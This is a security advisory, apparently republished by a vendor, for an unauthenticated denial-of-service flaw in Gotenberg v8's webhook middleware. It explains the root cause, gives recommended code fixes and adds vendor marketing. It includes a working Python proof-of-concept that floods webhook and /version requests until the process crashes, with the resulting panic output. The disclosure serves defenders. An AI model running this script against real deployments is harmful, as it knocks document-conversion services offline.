GHSA-r33j-c622-r6qp
HIGHGHSA-r33j-c622-r6qp is a high-severity (CVSS 7.5) vulnerability in github.com/gotenberg/gotenberg/v8. O3 Security confirms whether GHSA-r33j-c622-r6qp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
Real-World Exposure
github.com/gotenberg/gotenberg/v8Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.
Details
pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:
w.asyncCount.Add(1)
go func() {
defer cancel()
defer w.asyncCount.Add(-1)
err := next(c) // line 343
...
sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()
return api.ErrAsyncProcess // line 382
pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:
if errors.Is(err, ErrAsyncProcess) {
return c.NoContent(http.StatusNoContent)
}
Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:
return func(c echo.Context) error {
logger := c.Get("logger").(*slog.Logger) // line 398
...
go func() {
defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here
errChan <- next(c)
}()
If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.
No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.
Proof of Concept
Reproduction on the stock Docker image with default configuration:
docker run -d --name gotenberg-poc -p 3000:3000 \
-e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error
Single-process stress script (Alice sends both streams, no second actor):
import requests, subprocess, time, json, threading
TARGET = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post" # passes default webhook-deny-list
STOP = threading.Event()
html = b"<html><body><h1>Q</h1></body></html>"
def webhook_fire():
s = requests.Session()
while not STOP.is_set():
try:
s.post(
f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", html, "text/html")},
headers={
"Gotenberg-Webhook-Url": WEBHOOK,
"Gotenberg-Webhook-Error-Url": WEBHOOK,
},
timeout=15,
)
except: pass
def noise_fire():
s = requests.Session()
while not STOP.is_set():
try: s.get(f"{TARGET}/version", timeout=2)
except: pass
for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire, daemon=True).start()
t0 = time.time()
while time.time() - t0 < 60:
time.sleep(1)
status = json.loads(subprocess.run(
["docker", "inspect", "gotenberg-poc"],
capture_output=True, text=True, check=True).stdout)[0]["State"]
if status["Status"] != "running":
print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
STOP.set()
break
Observed output:
process crashed after 2.2s, exit code 2
Container stderr captured with docker logs gotenberg-poc:
panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
/home/pkg/modules/api/middlewares.go:398 +0x2e6
/home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
/home/pkg/modules/webhook/middleware.go:338 +0x1176
Impact
Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.
Recommended Fix
Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:
logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
return errors.New("context reused from pool before middleware chain populated it")
}
Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:
go func() {
defer func() {
if r := recover(); r != nil {
ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
handleError(fmt.Errorf("internal error: %v", r))
}
}()
defer cancel()
defer w.asyncCount.Add(-1)
...
}()
A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gotenberg/gotenberg/v8 | all versions | 8.32.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gotenberg/gotenberg/v8 to 8.32.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r33j-c622-r6qp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-r33j-c622-r6qp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-r33j-c622-r6qp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r33j-c622-r6qp in your dependencies?
O3 detects GHSA-r33j-c622-r6qp across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.